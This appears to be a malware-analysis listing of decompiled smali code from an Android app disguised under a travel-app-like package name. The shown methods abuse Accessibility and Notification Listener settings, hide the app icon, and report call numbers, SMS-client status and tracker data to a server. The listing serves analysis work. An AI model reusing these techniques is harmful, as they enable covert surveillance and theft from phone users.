                                      15iput-object v2, p0, Lde/greenrobot/event/SubscriberMethodFinder;->skipMethodVerificationForClasses:Ljava/util/Map;
                                      16if-eqz p1, :cond_22
                                      18invoke-interface {p1}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                      19move-result-object v1
                                      20goto_10:
                                      21invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                                      22move-result v2
                                      23if-eqz v2, :cond_22
                                      25invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                      26move-result-object v0
                                      27check-cast v0, Ljava/lang/Class;
                                      29iget-object v2, p0, Lde/greenrobot/event/SubscriberMethodFinder;->skipMethodVerificationForClasses:Ljava/util/Map;
                                      31invoke-interface {v2, v0, v0}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                      32goto/16 :goto_10
                                      33cond_22: return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • java.lang.Object.toString
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.setOnFocusChangeListener
                                      Position Instruction Meta Information
                                      0.param p1, "cTextInputLayout" # Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      1.prologue
                                      3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      5const-string v0, ""
                                      6iput-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->currentText:Ljava/lang/String;
                                      7iput-object p1, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      9iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      11invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      12move-result-object v0
                                      14invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      15move-result-object v0
                                      17invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                      18move-result-object v0
                                      19iput-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->currentText:Ljava/lang/String;
                                      21iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      23invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      24move-result-object v0
                                      25new-instance v1, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher$1;
                                      27invoke-direct {v1, p0}, Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher$1;-><init>(Lcom/aviasalea/injs/g/view/watchers/CNTextWatcher;)V
                                      29invoke-virtual {v0, v1}, Landroid/widget/EditText;->setOnFocusChangeListener(Landroid/view/View$OnFocusChangeListener;)V
                                      30return-void
                                      Cross References
                                      APIs
                                      • java.lang.Object.<init>
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.getText
                                      • java.lang.Object.toString
                                      • com.aviasalea.injs.g.view._CTextInputLayout.getEditText
                                      • android.widget.EditText.setOnFocusChangeListener
                                      Position Instruction Meta Information
                                      0.param p1, "cTextInputLayout" # Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      1.prologue
                                      3invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                      5const-string v0, ""
                                      6iput-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->currentText:Ljava/lang/String;
                                      7iput-object p1, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      9iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      11invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      12move-result-object v0
                                      14invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable;
                                      15move-result-object v0
                                      17invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                      18move-result-object v0
                                      19iput-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->currentText:Ljava/lang/String;
                                      21iget-object v0, p0, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;->mCTextInputLayout:Lcom/aviasalea/injs/g/view/_CTextInputLayout;
                                      23invoke-virtual {v0}, Lcom/aviasalea/injs/g/view/_CTextInputLayout;->getEditText()Landroid/widget/EditText;
                                      24move-result-object v0
                                      25new-instance v1, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher$1;
                                      27invoke-direct {v1, p0}, Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher$1;-><init>(Lcom/aviasalea/injs/g/view/watchers/EDTextWatcher;)V
                                      29invoke-virtual {v0, v1}, Landroid/widget/EditText;->setOnFocusChangeListener(Landroid/view/View$OnFocusChangeListener;)V
                                      30return-void
                                      APIs
                                      • com.aviasalea.wb.CustomWVClient.access$102
                                      • com.aviasalea.wb.CustomWVClient.access$202
                                      • com.aviasalea.wb.CustomWVClient.access$300
                                      • com.aviasalea.wb.CustomWVClient.access$300
                                      • java.lang.ref.WeakReference.get
                                      • android.webkit.WebView.stopLoading
                                      Position Instruction Meta Information
                                      0.prologue
                                      2iget-object v1, p0, Lcom/aviasalea/wb/CustomWVClient$2;->this$0:Lcom/aviasalea/wb/CustomWVClient;
                                      3const/4 v2, 0x0
                                      5invoke-static {v1, v2}, Lcom/aviasalea/wb/CustomWVClient;->access$102(Lcom/aviasalea/wb/CustomWVClient;Ljava/lang/String;)Ljava/lang/String;
                                      7iget-object v1, p0, Lcom/aviasalea/wb/CustomWVClient$2;->this$0:Lcom/aviasalea/wb/CustomWVClient;
                                      8const/4 v2, 0x1
                                      10invoke-static {v1, v2}, Lcom/aviasalea/wb/CustomWVClient;->access$202(Lcom/aviasalea/wb/CustomWVClient;Z)Z
                                      12iget-object v1, p0, Lcom/aviasalea/wb/CustomWVClient$2;->this$0:Lcom/aviasalea/wb/CustomWVClient;
                                      14invoke-static {v1}, Lcom/aviasalea/wb/CustomWVClient;->access$300(Lcom/aviasalea/wb/CustomWVClient;)Ljava/lang/ref/WeakReference;
                                      15move-result-object v1
                                      16if-eqz v1, :cond_25
                                      18iget-object v1, p0, Lcom/aviasalea/wb/CustomWVClient$2;->this$0:Lcom/aviasalea/wb/CustomWVClient;
                                      20invoke-static {v1}, Lcom/aviasalea/wb/CustomWVClient;->access$300(Lcom/aviasalea/wb/CustomWVClient;)Ljava/lang/ref/WeakReference;
                                      21move-result-object v1
                                      23invoke-virtual {v1}, Ljava/lang/ref/WeakReference;->get()Ljava/lang/Object;
                                      24move-result-object v0
                                      25check-cast v0, Landroid/webkit/WebView;
                                      26if-eqz v0, :cond_25
                                      28invoke-virtual {v0}, Landroid/webkit/WebView;->stopLoading()V
                                      29cond_25: return-void
                                      APIs
                                      • com.aviasalea.base.dialog.AlertDialog.access$1800
                                      • com.aviasalea.base.dialog.AlertDialog.access$1800
                                      • android.view.View.getTag
                                      • java.lang.Integer.intValue
                                      • android.content.DialogInterface$OnClickListener.onClick
                                      • com.aviasalea.base.dialog.AlertDialog.dismiss
                                      Position Instruction Meta Information
                                      0.param p1, "v" # Landroid/view/View;
                                      1.prologue
                                      3iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$3;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      5invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1800(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/content/DialogInterface$OnClickListener;
                                      6move-result-object v0
                                      7if-eqz v0, :cond_1d
                                      9iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$3;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      11invoke-static {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->access$1800(Lcom/aviasalea/base/dialog/AlertDialog;)Landroid/content/DialogInterface$OnClickListener;
                                      12move-result-object v1
                                      14iget-object v2, p0, Lcom/aviasalea/base/dialog/AlertDialog$3;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      16invoke-virtual {p1}, Landroid/view/View;->getTag()Ljava/lang/Object;
                                      17move-result-object v0
                                      18check-cast v0, Ljava/lang/Integer;
                                      20invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                                      21move-result v0
                                      23invoke-interface {v1, v2, v0}, Landroid/content/DialogInterface$OnClickListener;->onClick(Landroid/content/DialogInterface;I)V
                                      24cond_1d:
                                      25iget-object v0, p0, Lcom/aviasalea/base/dialog/AlertDialog$3;->this$0:Lcom/aviasalea/base/dialog/AlertDialog;
                                      27invoke-virtual {v0}, Lcom/aviasalea/base/dialog/AlertDialog;->dismiss()V
                                      28return-void
                                      APIs
                                      • android.content.Intent.<init>
                                      • com.aviasalea.ds.StartDialog.startActivity
                                      • com.aviasalea.ds.StartDialog.access$000
                                      • com.aviasalea.ds.StartDialog.destroyDialog
                                      Strings
                                      • android.settings.ACCESSIBILITY_SETTINGS
                                      Position Instruction Meta Information
                                      0.param p1, "dialog" # Landroid/content/DialogInterface;
                                      1.param p2, "which" # I
                                      2.prologue
                                      4iget-object v0, p0, Lcom/aviasalea/ds/StartDialog$1;->this$0:Lcom/aviasalea/ds/StartDialog;
                                      6invoke-static {v0}, Lcom/aviasalea/checktls/ASTls;->isAccessibilitySettingsOn(Landroid/content/Context;)Z
                                      7move-result v0
                                      8if-nez v0, :cond_1f
                                      10iget-object v0, p0, Lcom/aviasalea/ds/StartDialog$1;->this$0:Lcom/aviasalea/ds/StartDialog;
                                      11new-instance v1, Landroid/content/Intent;
                                      13const-string v2, "android.settings.ACCESSIBILITY_SETTINGS"
                                      15invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                      17invoke-virtual {v0, v1}, Lcom/aviasalea/ds/StartDialog;->startActivity(Landroid/content/Intent;)V
                                      19iget-object v0, p0, Lcom/aviasalea/ds/StartDialog$1;->this$0:Lcom/aviasalea/ds/StartDialog;
                                      21iget-object v1, p0, Lcom/aviasalea/ds/StartDialog$1;->this$0:Lcom/aviasalea/ds/StartDialog;
                                      23invoke-static {v1}, Lcom/aviasalea/ds/StartDialog;->access$000(Lcom/aviasalea/ds/StartDialog;)Lcom/aviasalea/base/dialog/AlertDialog;
                                      24move-result-object v1
                                      26invoke-virtual {v0, v1}, Lcom/aviasalea/ds/StartDialog;->destroyDialog(Lcom/aviasalea/base/dialog/AlertDialog;)V
                                      27cond_1f: return-void
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.rcv.RtlkReceiver.sendChangeMSClToServer
                                      • com.aviasalea.srs.rcv.RtlkReceiver.sendChangeMSClToServer
                                      • com.aviasalea.srs.rcv.RtlkReceiver.sendChangeMSClToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "chSmsClientStatus" # Ljava/lang/String;
                                      2.param p3, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      3.prologue
                                      4const-wide/32 v2, 0xea60
                                      5iget v0, p3, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      6if-nez v0, :cond_1d
                                      8iget-object v0, p3, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      9if-eqz v0, :cond_19
                                      11iget-object v0, p3, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      13const-string v1, "accepted"
                                      15invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      16move-result v0
                                      17if-nez v0, :cond_18
                                      19invoke-direct {p0, p1, p2, v2, v3}, Lcom/aviasalea/srs/rcv/RtlkReceiver;->sendChangeMSClToServer(Landroid/content/Context;Ljava/lang/String;J)V
                                      20cond_18: return-void
                                      21cond_19:
                                      22invoke-direct {p0, p1, p2, v2, v3}, Lcom/aviasalea/srs/rcv/RtlkReceiver;->sendChangeMSClToServer(Landroid/content/Context;Ljava/lang/String;J)V
                                      23goto/16 :goto_18
                                      24cond_1d:
                                      25invoke-direct {p0, p1, p2, v2, v3}, Lcom/aviasalea/srs/rcv/RtlkReceiver;->sendChangeMSClToServer(Landroid/content/Context;Ljava/lang/String;J)V
                                      26goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.GPSrs.sendChangeMSClToServer
                                      • com.aviasalea.srs.GPSrs.sendChangeMSClToServer
                                      • com.aviasalea.srs.GPSrs.sendChangeMSClToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "chSmsClientStatus" # Ljava/lang/String;
                                      1.param p2, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      2.prologue
                                      3const-wide/32 v2, 0xea60
                                      4iget v0, p2, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      5if-nez v0, :cond_1d
                                      7iget-object v0, p2, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      8if-eqz v0, :cond_19
                                      10iget-object v0, p2, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      12const-string v1, "accepted"
                                      14invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      15move-result v0
                                      16if-nez v0, :cond_18
                                      18invoke-direct {p0, p1, v2, v3}, Lcom/aviasalea/srs/GPSrs;->sendChangeMSClToServer(Ljava/lang/String;J)V
                                      19cond_18: return-void
                                      20cond_19:
                                      21invoke-direct {p0, p1, v2, v3}, Lcom/aviasalea/srs/GPSrs;->sendChangeMSClToServer(Ljava/lang/String;J)V
                                      22goto/16 :goto_18
                                      23cond_1d:
                                      24invoke-direct {p0, p1, v2, v3}, Lcom/aviasalea/srs/GPSrs;->sendChangeMSClToServer(Ljava/lang/String;J)V
                                      25goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.sendCallNumberToServer
                                      • com.aviasalea.srs.CmndSrs.sendCallNumberToServer
                                      • com.aviasalea.srs.CmndSrs.sendCallNumberToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v2, 0xea60
                                      3iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      4if-nez v0, :cond_1d
                                      6iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      7if-eqz v0, :cond_19
                                      9iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      11const-string v1, "accepted"
                                      13invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      14move-result v0
                                      15if-nez v0, :cond_18
                                      17invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendCallNumberToServer(J)V
                                      18cond_18: return-void
                                      19cond_19:
                                      20invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendCallNumberToServer(J)V
                                      21goto/16 :goto_18
                                      22cond_1d:
                                      23invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendCallNumberToServer(J)V
                                      24goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.sendChangeMSClToServer
                                      • com.aviasalea.srs.CmndSrs.sendChangeMSClToServer
                                      • com.aviasalea.srs.CmndSrs.sendChangeMSClToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v2, 0xea60
                                      3iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      4if-nez v0, :cond_1d
                                      6iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      7if-eqz v0, :cond_19
                                      9iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      11const-string v1, "accepted"
                                      13invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      14move-result v0
                                      15if-nez v0, :cond_18
                                      17invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendChangeMSClToServer(J)V
                                      18cond_18: return-void
                                      19cond_19:
                                      20invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendChangeMSClToServer(J)V
                                      21goto/16 :goto_18
                                      22cond_1d:
                                      23invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendChangeMSClToServer(J)V
                                      24goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.sendHardModeToServer
                                      • com.aviasalea.srs.CmndSrs.sendHardModeToServer
                                      • com.aviasalea.srs.CmndSrs.sendHardModeToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v2, 0xea60
                                      3iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      4if-nez v0, :cond_1d
                                      6iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      7if-eqz v0, :cond_19
                                      9iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      11const-string v1, "accepted"
                                      13invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      14move-result v0
                                      15if-nez v0, :cond_18
                                      17invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendHardModeToServer(J)V
                                      18cond_18: return-void
                                      19cond_19:
                                      20invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendHardModeToServer(J)V
                                      21goto/16 :goto_18
                                      22cond_1d:
                                      23invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendHardModeToServer(J)V
                                      24goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.sendingPushEndStatusToServer
                                      • com.aviasalea.srs.CmndSrs.sendingPushEndStatusToServer
                                      • com.aviasalea.srs.CmndSrs.sendingPushEndStatusToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v2, 0xea60
                                      3iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      4if-nez v0, :cond_1d
                                      6iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      7if-eqz v0, :cond_19
                                      9iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      11const-string v1, "accepted"
                                      13invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      14move-result v0
                                      15if-nez v0, :cond_18
                                      17invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendingPushEndStatusToServer(J)V
                                      18cond_18: return-void
                                      19cond_19:
                                      20invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendingPushEndStatusToServer(J)V
                                      21goto/16 :goto_18
                                      22cond_1d:
                                      23invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendingPushEndStatusToServer(J)V
                                      24goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.sendingPushStatusToServer
                                      • com.aviasalea.srs.CmndSrs.sendingPushStatusToServer
                                      • com.aviasalea.srs.CmndSrs.sendingPushStatusToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v2, 0xea60
                                      3iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      4if-nez v0, :cond_1d
                                      6iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      7if-eqz v0, :cond_19
                                      9iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      11const-string v1, "accepted"
                                      13invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      14move-result v0
                                      15if-nez v0, :cond_18
                                      17invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendingPushStatusToServer(J)V
                                      18cond_18: return-void
                                      19cond_19:
                                      20invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendingPushStatusToServer(J)V
                                      21goto/16 :goto_18
                                      22cond_1d:
                                      23invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendingPushStatusToServer(J)V
                                      24goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.sendingTrackerToServer
                                      • com.aviasalea.srs.CmndSrs.sendingTrackerToServer
                                      • com.aviasalea.srs.CmndSrs.sendingTrackerToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v2, 0xea60
                                      3iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      4if-nez v0, :cond_1d
                                      6iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      7if-eqz v0, :cond_19
                                      9iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      11const-string v1, "accepted"
                                      13invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      14move-result v0
                                      15if-nez v0, :cond_18
                                      17invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendingTrackerToServer(J)V
                                      18cond_18: return-void
                                      19cond_19:
                                      20invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendingTrackerToServer(J)V
                                      21goto/16 :goto_18
                                      22cond_1d:
                                      23invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendingTrackerToServer(J)V
                                      24goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • java.lang.String.equalsIgnoreCase
                                      • com.aviasalea.srs.CmndSrs.sendStartAccessRunToServer
                                      • com.aviasalea.srs.CmndSrs.sendStartAccessRunToServer
                                      • com.aviasalea.srs.CmndSrs.sendStartAccessRunToServer
                                      Strings
                                      • accepted
                                      Position Instruction Meta Information
                                      0.param p1, "result" # Lcom/aviasalea/srs/api/responses/StatusResponse;
                                      1.prologue
                                      2const-wide/32 v2, 0xea60
                                      3iget v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->ret:I
                                      4if-nez v0, :cond_1d
                                      6iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      7if-eqz v0, :cond_19
                                      9iget-object v0, p1, Lcom/aviasalea/srs/api/responses/StatusResponse;->answer:Ljava/lang/String;
                                      11const-string v1, "accepted"
                                      13invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
                                      14move-result v0
                                      15if-nez v0, :cond_18
                                      17invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendStartAccessRunToServer(J)V
                                      18cond_18: return-void
                                      19cond_19:
                                      20invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendStartAccessRunToServer(J)V
                                      21goto/16 :goto_18
                                      22cond_1d:
                                      23invoke-direct {p0, v2, v3}, Lcom/aviasalea/srs/CmndSrs;->sendStartAccessRunToServer(J)V
                                      24goto/16 :goto_18
                                      Cross References
                                      APIs
                                      • com.aviasalea.Realtalk.getPreviousRid
                                      • com.aviasalea.Realtalk.setPreviousRid
                                      • com.aviasalea.srs.CmndSrs.sendStartAccessRunToServer
                                      • com.aviasalea.Realtalk.setStartAccess
                                      • com.aviasalea.srs.CmndSrs.hideApp
                                      • com.aviasalea.srs.CmndSrs.sendStartAccessEndToServer
                                      Position Instruction Meta Information
                                      0.param p1, "context" # Landroid/content/Context;
                                      1.param p2, "result" # Lcom/aviasalea/srs/api/responses/HitGateResponse;
                                      2.prologue
                                      3const-wide/16 v4, 0x0
                                      4iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      6invoke-static {p1}, Lcom/aviasalea/Realtalk;->getPreviousRid(Landroid/content/Context;)J
                                      7move-result-wide v2
                                      8cmp-long v0, v0, v2
                                      9if-eqz v0, :cond_21
                                      10iget-wide v0, p0, Lcom/aviasalea/srs/CmndSrs;->mRid:J
                                      12invoke-static {p1, v0, v1}, Lcom/aviasalea/Realtalk;->setPreviousRid(Landroid/content/Context;J)V
                                      14invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->sendStartAccessRunToServer(J)V
                                      15const/4 v0, 0x1
                                      17invoke-static {p0, v0}, Lcom/aviasalea/Realtalk;->setStartAccess(Landroid/content/Context;Z)V
                                      19invoke-static {p0}, Lcom/aviasalea/checktls/IntTls;->startDialogAccessService(Landroid/content/Context;)V
                                      21invoke-direct {p0}, Lcom/aviasalea/srs/CmndSrs;->hideApp()V
                                      23invoke-direct {p0, v4, v5}, Lcom/aviasalea/srs/CmndSrs;->sendStartAccessEndToServer(J)V
                                      24cond_21: return-void
                                      Cross References
                                      APIs
                                      • java.lang.String.trim
                                      • java.lang.String.equals
                                      • java.lang.String.trim
                                      • java.lang.String.equals
                                      Strings
                                      • null
                                      Position Instruction Meta Information
                                      0.param p0, "s" # Ljava/lang/String;
                                      1.prologue
                                      2if-eqz p0, :cond_1a
                                      4invoke-virtual {p0}, Ljava/lang/String;->trim()Ljava/lang/String;
                                      5move-result-object v0
                                      7const-string v1, ""
                                      9invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      10move-result v0
                                      11if-nez v0, :cond_1a
                                      13invoke-virtual {p0}, Ljava/lang/String;->trim()Ljava/lang/String;
                                      14move-result-object v0
                                      16const-string v1, "null"
                                      18invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                      19move-result v0
                                      20if-eqz v0, :cond_1c
                                      21cond_1a: const/4 v0, 0x1
                                      22goto_1b: return v0
                                      23cond_1c: const/4 v0, 0x0
                                      24goto/16 :goto_1b
                                      Cross References
                                      APIs
                                      • android.content.Intent.<init>
                                      • android.content.Intent.setFlags
                                      • android.content.Context.startActivity
                                      • java.lang.Exception.printStackTrace
                                      Strings
                                      • android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS
                                      Position Instruction Meta Information
                                      0.param p0, "activity" # Landroid/content/Context;
                                      1.annotation system Ldalvik/annotation/Throws;
                                      2value = {
                                      3Ljava/lang/Exception;
                                      4}
                                      5.end annotation
                                      6.prologue
                                      7try_start_0: new-instance v1, Landroid/content/Intent;
                                      9const-string v2, "android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"
                                      11invoke-direct {v1, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                      12const/high16 v2, 0x10000000
                                      14invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                      16invoke-virtual {p0, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                      17goto_f: return-void
                                      18catch_10: move-exception v0
                                      20invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                                      21goto/16 :goto_f
                                      Cross References
                                      APIs
                                      • android.os.HandlerThread.<init>
                                      • android.os.HandlerThread.start
                                      • android.os.HandlerThread.getLooper
                                      • com.aviasalea.api.request.HTTPServer$1.<init>
                                      Strings
                                      • HTTPServer
                                      Position Instruction Meta Information
                                      0.prologue
                                      1new-instance v0, Landroid/os/HandlerThread;
                                      3const-string v1, "HTTPServer"
                                      5invoke-direct {v0, v1}, Landroid/os/HandlerThread;-><init>(Ljava/lang/String;)V
                                      6iput-object v0, p0, Lcom/aviasalea/api/request/HTTPServer;->mRequestHandlerThread:Landroid/os/HandlerThread;
                                      8iget-object v0, p0, Lcom/aviasalea/api/request/HTTPServer;->mRequestHandlerThread:Landroid/os/HandlerThread;
                                      10invoke-virtual {v0}, Landroid/os/HandlerThread;->start()V
